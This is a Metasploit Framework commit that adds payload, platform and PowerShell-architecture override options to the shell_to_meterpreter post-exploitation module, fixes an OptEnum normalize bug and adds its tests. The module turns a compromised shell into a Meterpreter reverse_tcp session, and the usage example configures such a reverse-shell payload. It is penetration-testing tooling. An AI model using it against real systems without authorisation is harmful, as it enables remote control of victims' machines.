Skip to content

Commit

Permalink
Land #18484, add ability to follow payload override in shell to meter…
Browse files Browse the repository at this point in the history
…preter
  • Loading branch information
adfoster-r7 authored Jan 3, 2024
2 parents 2390058 + 90d3d6f commit a9f5c11
Show file tree
Hide file tree
Showing 4 changed files with 140 additions and 50 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -20,3 +20,13 @@ run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS
```

If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.

```
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64
```
2 changes: 1 addition & 1 deletion lib/msf/core/opt_enum.rb
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ def valid?(value = self.value, check_empty: true)
end

def normalize(value = self.value)
if valid?(value)
if valid?(value) && !value.nil?
value.to_s
else
nil
Expand Down
120 changes: 78 additions & 42 deletions modules/post/multi/manage/shell_to_meterpreter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,9 @@ class MetasploitModule < Msf::Post
include Post::Architecture
include Post::Windows::Powershell

VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']
VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }

def initialize(info = {})
super(
update_info(
Expand Down Expand Up @@ -41,6 +44,10 @@ def initialize(info = {})
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
OptEnum.new('WIN_TRANSFER',
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
OptEnum.new('PLATFORM_OVERRIDE',
[false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),
OptEnum.new('PSH_ARCH_OVERRIDE',
[false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),
OptString.new('PAYLOAD_OVERRIDE',
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
OptString.new('BOURNE_PATH',
Expand Down Expand Up @@ -81,55 +88,86 @@ def run
lport = datastore['LPORT']

# Handle platform specific variables and settings
case session.platform
when 'windows', 'win'
platform = 'windows'
lplat = [Msf::Platform::Windows]
arch = get_os_architecture
case arch
when ARCH_X64
payload_name = 'windows/x64/meterpreter/reverse_tcp'
psh_arch = 'x64'
when ARCH_X86
payload_name = 'windows/meterpreter/reverse_tcp'
psh_arch = 'x86'
else
print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
if datastore['PAYLOAD_OVERRIDE']
unless datastore['PLATFORM_OVERRIDE']
print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')
return nil
end
larch = [arch]
vprint_status('Platform: Windows')
when 'osx'
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
when 'solaris'
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status('Platform: Solaris')
unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE
print_error('Please provide a valid PLATFORM_OVERRIDE')
return nil
end
payload_name = datastore['PAYLOAD_OVERRIDE']
payload = framework.payloads.create(payload_name)
platform = datastore['PLATFORM_OVERRIDE']
unless payload
print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')
return nil
end
if platform.downcase == 'windows' || platform.downcase == 'win'
unless datastore['PSH_ARCH_OVERRIDE']
print_error('Please provide a PSH_ARCH_OVERRIDE')
return nil
end
unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE
print_error('Please provide a valid PSH_ARCH_OVERRIDE')
return nil
end
psh_arch = datastore['PSH_ARCH_OVERRIDE']
end
lplat = payload.platform.platforms
larch = payload.arch
else
# Find the best fit, be specific with uname to avoid matching hostname or something else
target_info = cmd_exec('uname -ms')
if target_info =~ /linux/i && target_info =~ /86/
# Handle linux shells that were identified as 'unix'
platform = 'linux'
payload_name = 'linux/x86/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Linux]
larch = [ARCH_X86]
vprint_status('Platform: Linux')
elsif target_info =~ /darwin/i
case session.platform
when 'windows', 'win'
platform = 'windows'
lplat = [Msf::Platform::Windows]
arch = get_os_architecture
case arch
when ARCH_X64
payload_name = 'windows/x64/meterpreter/reverse_tcp'
psh_arch = 'x64'
when ARCH_X86
payload_name = 'windows/meterpreter/reverse_tcp'
psh_arch = 'x86'
else
print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
return nil
end
larch = [arch]
vprint_status('Platform: Windows')
when 'osx'
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
when 'solaris'
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status('Platform: Python [fallback]')
vprint_status('Platform: Solaris')
else
# Find the best fit, be specific with uname to avoid matching hostname or something else
target_info = cmd_exec('uname -ms')
if target_info =~ /linux/i && target_info =~ /86/
# Handle linux shells that were identified as 'unix'
platform = 'linux'
payload_name = 'linux/x86/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Linux]
larch = [ARCH_X86]
vprint_status('Platform: Linux')
elsif target_info =~ /darwin/i
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status('Platform: Python [fallback]')
end
end
end

Expand All @@ -138,8 +176,6 @@ def run
return nil
end

payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']

vprint_status("Upgrade payload: #{payload_name}")

payload_data = generate_payload(lhost, lport, payload_name)
Expand All @@ -156,7 +192,7 @@ def run
end
end

case platform
case platform.downcase
when 'windows'
if session.type == 'powershell'
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
Expand Down
58 changes: 51 additions & 7 deletions spec/lib/msf/core/opt_enum_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -3,20 +3,64 @@
require 'spec_helper'

RSpec.describe Msf::OptEnum do
it_behaves_like 'an option', [], [], 'enum'

it_behaves_like "an option", [], [], 'enum'
let(:required_optenum) { Msf::OptEnum.new('name', [true, 'A Boolean Value', 'Foo', ['Foo', 'Bar', 'Baz']]) }
let(:not_required_optenum) { Msf::OptEnum.new('name', [false, 'A Boolean Value', 'Foo', ['Foo', 'Bar', 'Baz']]) }

subject do
Msf::OptEnum.new('name',[true, 'A Boolean Value', 'Foo', ['Foo', 'Bar', 'Baz']])
context 'the validator when required' do
it 'should return false for a value not in the list' do
expect(required_optenum.valid?('Snap')).to eq false
end

it 'should return true for a value in the list' do
expect(required_optenum.valid?('Bar')).to eq true
end

it 'should return false for a nil value' do
expect(required_optenum.valid?(nil)).to eq false
end
end

context 'the validator' do
it 'should return false for a value not in the list' do
expect(subject.valid?('Snap')).to eq false
context 'the validator when not required' do
it 'should return true for a nil value' do
expect(not_required_optenum.valid?(nil)).to eq true
end

it 'should return true for a value in the list' do
expect(subject.valid?('Bar')).to eq true
expect(not_required_optenum.valid?('Bar')).to eq true
end

it 'should return false for a value not in the list' do
expect(not_required_optenum.valid?('Snap')).to eq false
end
end

context 'normalize when required' do
it 'should return nil for a nil value' do
expect(required_optenum.normalize(nil)).to eq nil
end

it 'should return the value string for a value in the list' do
expect(required_optenum.normalize('Bar')).to eq 'Bar'
end

it 'should return nil for a value not in the list' do
expect(required_optenum.normalize('Snap')).to eq nil
end
end

context 'normalize when not required' do
it 'should return nil for a nil value' do
expect(not_required_optenum.normalize(nil)).to eq nil
end

it 'should return the value string for a value in the list' do
expect(not_required_optenum.normalize('Bar')).to eq 'Bar'
end

it 'should return nil for a value not in the list' do
expect(not_required_optenum.normalize('Snap')).to eq nil
end
end
end

0 comments on commit a9f5c11

Please sign in to comment.